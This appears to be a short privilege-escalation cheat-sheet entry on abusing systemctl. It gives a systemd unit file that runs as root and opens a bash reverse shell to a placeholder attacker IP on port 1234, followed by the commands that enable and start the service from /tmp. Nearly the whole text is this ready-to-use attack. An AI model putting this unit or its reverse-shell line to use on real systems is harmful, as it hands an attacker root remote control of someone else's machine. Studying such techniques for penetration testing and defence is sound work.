Systemctl
Create a systemd unit file
[Unit]
Description=rooooot
[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/<YOUR IP>/1234 0>&1'
[Install]
WantedBy=multi-user.targetConfigure systemctl with custom sevice and start the service
$ /bin/systemctl enable /tmp/root.service
$ /bin/systemctl start rootReferences
Last updated